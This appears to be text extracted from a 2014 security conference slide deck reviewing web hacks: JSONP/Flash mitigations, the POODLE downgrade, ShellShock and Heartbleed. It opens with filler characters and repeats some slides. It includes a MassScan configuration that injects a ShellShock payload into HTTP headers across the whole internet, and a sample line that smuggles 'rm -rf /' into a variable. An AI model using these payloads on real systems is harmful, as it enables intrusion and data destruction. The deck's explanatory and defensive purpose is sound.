xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Mitigations

- Don’t use JSONP on sensitive domains
- HTTP Headers:
  - Content-Disposition: attachment; filename=f.txt
  - X-Content-Type-Options: nosniff
- Latest versions of Flash are patched by Adobe

```ruby
if requestingjsonp & self.json_response?(headers['Content-Type'])
    json = ""
    body.each { |s| json << s }
    body = "#{callback}(#{json});"
    body = "/**/#{callback}(#{json});"
    headers['Content-Length'] = Rack::Utils.bytesize(body[0]).to_s
    headers['Content-Type'] = headers['Content-Type'].sub(/[^;]+(;?)/, "#{MIME_TYPE}" + 1)
end
```
Encryption downgrade attack to SSLv3.0

Like BEAST and CRIME, a successful exploit targets the client, not the server

Requires determined MitM attacker

Bodo Möller, Thai Duong, Krzysztof Kotowicz
Plaintext → Key → MAGIC → Ciphertext
GET / HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:36.0)
Gecko/20100101 Firefox/36.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: datr=aOkJWQA5R8MsqyUCxF-Cw0L;
campaign_click_url=2Pcampaign%2Flanding.php%3Fplacement%3Dpfl0%26campaign_id
%3D40247449186%26extra_1%3Dauto
Connection: keep-alive
GET / HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:36.0)
Gecko/20100101 Firefox/36.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: datr=aJvQA5R8MsqzyUCxF-Cw0L; reg_fb_ref=https%3A%2F%2Fwww.facebook.com%2F; reg_fb_gate=https%3A%2F%2Fwww.facebook.com%2F; locale=fr_FR; campaign_click_url=%2Fcampaign%2Flanding.php%3Fplacement%3Dpfl0%26campaign_id%3D4024749186%26extra_1%3Dauto
Connection: keep-alive
Padding

DES uses 8 Bytes
AES uses 16 bytes
DES uses 8 Bytes
AES uses 16 bytes
CBC Encryption is occurring

Sensitive Data

MAC

Padding
DES uses 8 Bytes
AES uses 16 bytes

CBC Encryption is occurring
CBC Encryption is occurring

Sensitive Data
MAC
Padding
DES uses 8 Bytes
AES uses 16 bytes

CBC Encryption is occurring
DES uses 8 Bytes
AES uses 16 bytes

Sensitive Data
MAC
Padding

CB
C
CBC
Padding
DES uses 8 Bytes
AES uses 16 bytes
Requirements

- A motivated and active MITM attacker.
- A webserver set up to force the JS requests to break multiple encryption blocks.

Solution

- Disable SSLv3.0 in the client.
- Disable SSLv3.0 in the server.
- Disable support for CBC-based cipher suites when using SSLv3.0 in either client or server.
ShellShock

Also known as Bashdoor

CVE-2014-6271

Disclosed on September 24, 2014.

Simply put → () { :: }; echo ‘win’

Stéphane Chazelas
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271
Example with MassScan by @ErrataRob

target-ip = 0.0.0.0/0
port = 80
banners = true
http-user-agent = () { :: }; ping -c 3 xxx.xxx.xxx.xxx
http-header[Cookie] = () { :: }; ping -c 3 xxx.xxx.xxx.xxx
http-header[Host] = () { :: }; ping -c 3 xxx.xxx.xxx.xxx
http-header[Referer] = () { :: }; ping -c 3 xxx.xxx.xxx.xxx
<table>
<thead>
<tr>
<th>Source</th>
<th>Destination</th>
<th>Protocol</th>
<th>Info</th>
</tr>
</thead>
<tbody>
<tr>
<td>219.23</td>
<td>209.126.230.74</td>
<td>ICMP</td>
<td>Echo (ping) request id=0xf263, seq=12/3072, ttl=51</td>
</tr>
<tr>
<td>61.84</td>
<td>209.126.230.74</td>
<td>ICMP</td>
<td>Echo (ping) request id=0x8960, seq=12/3072, ttl=45</td>
</tr>
<tr>
<td>1.26</td>
<td>209.126.230.74</td>
<td>ICMP</td>
<td>Echo (ping) request id=0x8456, seq=2048, ttl=47</td>
</tr>
<tr>
<td>219.23</td>
<td>209.126.230.74</td>
<td>ICMP</td>
<td>Echo (ping) request id=0x2764, seq=1536, ttl=51</td>
</tr>
<tr>
<td>219.23</td>
<td>209.126.230.74</td>
<td>ICMP</td>
<td>Echo (ping) request id=0x8039, seq=18/2560, ttl=47</td>
</tr>
<tr>
<td>219.23</td>
<td>209.126.230.74</td>
<td>ICMP</td>
<td>Echo (ping) request id=0xe763, seq=13/3328, ttl=51</td>
</tr>
<tr>
<td>225.138</td>
<td>209.126.230.74</td>
<td>ICMP</td>
<td>Echo (ping) request id=0xc681, seq=14/3584, ttl=51</td>
</tr>
<tr>
<td>219.23</td>
<td>209.126.230.74</td>
<td>ICMP</td>
<td>Echo (ping) request id=0x4d64, seq=2/512, ttl=51</td>
</tr>
<tr>
<td>219.23</td>
<td>209.126.230.74</td>
<td>ICMP</td>
<td>Echo (ping) request id=0xf263, seq=13/3328, ttl=51</td>
</tr>
<tr>
<td>61.84</td>
<td>209.126.230.74</td>
<td>ICMP</td>
<td>Echo (ping) request id=0x8960, seq=13/3328, ttl=45</td>
</tr>
<tr>
<td>1.26</td>
<td>209.126.230.74</td>
<td>ICMP</td>
<td>Echo (ping) request id=0x8456, seq=2048, ttl=47</td>
</tr>
<tr>
<td>225.138</td>
<td>209.126.230.74</td>
<td>ICMP</td>
<td>Echo (ping) request id=0x3783, seq=1/256, ttl=51</td>
</tr>
<tr>
<td>219.23</td>
<td>209.126.230.74</td>
<td>ICMP</td>
<td>Echo (ping) request id=0x2764, seq=7/1792, ttl=51</td>
</tr>
<tr>
<td>219.23</td>
<td>209.126.230.74</td>
<td>ICMP</td>
<td>Echo (ping) request id=0xe763, seq=14/3328, ttl=51</td>
</tr>
<tr>
<td>225.138</td>
<td>209.126.230.74</td>
<td>ICMP</td>
<td>Echo (ping) request id=0xc681, seq=15/3584, ttl=51</td>
</tr>
<tr>
<td>219.23</td>
<td>209.126.230.74</td>
<td>ICMP</td>
<td>Echo (ping) request id=0x4d64, seq=3/768, ttl=51</td>
</tr>
<tr>
<td>219.23</td>
<td>209.126.230.74</td>
<td>ICMP</td>
<td>Echo (ping) request id=0xf263, seq=14/3584, ttl=51</td>
</tr>
</tbody>
</table>
Before we had fancy GUI’s...
ShellShock explained simply

VAR='This is something I'd really like to remember.'
VAR='This should also be treated as text, not syntax.'
VAR='rm -rf /'

VAR='() { ::}; rm -rf /'
echo $VAR
Heartbleed

It allows an attacker to anonymously download a random chunk of memory from a server using OpenSSL.

A Catastrophic vulnerability to be accompanied by “branding”.

~17%(500k) of all “secure” servers were vulnerable.

Neel Mehta
http://heartbleed.com/
Market share of the busiest sites

<table>
<thead>
<tr>
<th>Developer</th>
<th>March 2014</th>
<th>Percent</th>
<th>April 2014</th>
<th>Percent</th>
<th>Change</th>
</tr>
</thead>
<tbody>
<tr>
<td>Apache</td>
<td>537,714</td>
<td>53.77%</td>
<td>534,392</td>
<td>53.44%</td>
<td>-0.33</td>
</tr>
<tr>
<td>nginx</td>
<td>176,507</td>
<td>17.65%</td>
<td>178,154</td>
<td>17.82%</td>
<td>0.16</td>
</tr>
<tr>
<td>Microsoft</td>
<td>123,981</td>
<td>12.40%</td>
<td>124,019</td>
<td>12.40%</td>
<td>0.00</td>
</tr>
<tr>
<td>Google</td>
<td>29,937</td>
<td>2.99%</td>
<td>29,593</td>
<td>2.96%</td>
<td>-0.03</td>
</tr>
</tbody>
</table>
Market share of the active sites

<table>
<thead>
<tr>
<th>Developer</th>
<th>March 2014</th>
<th>Percent</th>
<th>April 2014</th>
<th>Percent</th>
<th>Change</th>
</tr>
</thead>
<tbody>
<tr>
<td>Apache</td>
<td>93,759,928</td>
<td>52.18%</td>
<td>95,512,314</td>
<td>52.44%</td>
<td>0.26</td>
</tr>
<tr>
<td>nginx</td>
<td>25,497,586</td>
<td>14.19%</td>
<td>25,900,525</td>
<td>14.22%</td>
<td>0.03</td>
</tr>
<tr>
<td>Microsoft</td>
<td>20,436,280</td>
<td>11.37%</td>
<td>20,175,151</td>
<td>11.08%</td>
<td>-0.30</td>
</tr>
<tr>
<td>Google</td>
<td>14,967,579</td>
<td>8.33%</td>
<td>14,829,924</td>
<td>8.14%</td>
<td>-0.19</td>
</tr>
</tbody>
</table>
What is a heartbeat anyways and why?

- [http://git.openssl.org/gitweb/?p=openssl.git;a=commit;h=4817504d069b4c5082161b02a22116ad75f822b1](http://git.openssl.org/gitweb/?p=openssl.git;a=commit;h=4817504d069b4c5082161b02a22116ad75f822b1)

- Found in:
  - /ssl/d1_both.c
  - /ssl/t1_lib.c
    - Both containing the following:
      - `buffer = OPENSSL_malloc(1 + 2 + payload + padding);`

- Fixed in this commit: [https://github.com/openssl/openssl/commit/96db9023b881d7cd9f379b0c154650d6c108e9a3#diff-2](https://github.com/openssl/openssl/commit/96db9023b881d7cd9f379b0c154650d6c108e9a3#diff-2)
  - The payload is now bound checked and can’t exceed the intended 16 byte payload size.
  - “Ultimately, this boiled down to a very simple bug in a very small piece of code that required a very small fix” ~ @TroyHunt
Client

Server

- TLS Request 1
- TLS Response 1
- Heartbeat Request
- Keep Alive
- Heartbeat Request
- TLS Response 2
Client

TLS Request 1

TLS Response 1

Heartbeat Request

Payload, Size

Keep Alive

Payload, Some Padding

Server
Hacker

TLS Request 1

TLS Response 1

Heartbeat Request

Payload, 1 Byte
Size, 65,536 Bytes

Server
Hacker

Server

Payload, 1 Byte
Size, 65,536 Bytes

TLS Request 1
TLS Response 1
Heartbeat Request

Server Memory

RANDOMDATARANDOMDATA
TARANDOMDATARANDOMDATA
DATAPayloadDATARANDOMDATA
MDATARANDOMDATARANDOMDATA
DOMDATARANDOMDATARANDOMDATA
ANDOMDATARANDOMDATARANDOMDATA
ARANDOMDATARANDOMDATARANDOMDATA
ATARANDOMDATARANDOMDATARANDOMDATA
MDATARANDOMDATARANDOMDATA

#RSAC
Hacker
Server
TLS Request 1
TLS Response 1
Heartbeat Request
Payload, 1 Byte
Size, 65,536 Bytes
Server Memory

RANDOMDATARANDOMDATA
TARANDOMDATARANDOMDATA
DATAPayloadDATARANDOMDATA
MDATARANDOMDATARANDOMDATA
DOMDATARANDOMDATARANDOMDATA
ANDOMDATARANDOMDATARANDOMDATA
ARANDOMDATARANDOMDATARANDOMDATA
ATARANDOMDATARANDOMDATARANDOMDATA
MDATARANDOMDATARANDOMDATA
Hacker

Server

Payload, 1 Byte
Size, 65,536 Bytes

Keep Alive

Server Memory

PayloadDATARAND
OMDATARANDOMDATAR
ANDOMDATARANDO
MDATARANDOMDATARAN
DOMDATARANDOMDATARAN
DOMDATARANDOMDATARAN
ANDOMDATARANDOMDATARAN
ARANDOMDATARANDOMDATARANDOMDATARANDO
MDATARANDOMDATARAN
MDATARANDOMDATARAN
What we’ve learned

◆ **Encryption is King:** Many years of web hacks and Transport Layer bugs are always feared and respected.

◆ **Creativity is Rare:** Utilizing things under our noses in new and novel ways is always impressive.

◆ **Web Security Prevails:** Of all the hacks of 2014, web hacks make the headlines. Web is where the data is, and data is what we all hold dear.
Top 10 Web Hacking Techniques of 2014

Special thanks to the community who voted and to our panel of experts: Jeff Williams, Zane Lackey, Daniel Miessler, Troy Hunt, Giorgio Maone, Peleus Uhley, and Rohit Sethi

Johnathan Kuskos
Manager
WhiteHat Security / Threat Research Center
@JohnathanKuskos

Matt Johansen
Senior Manager
WhiteHat Security / Threat Research Center
@mattjay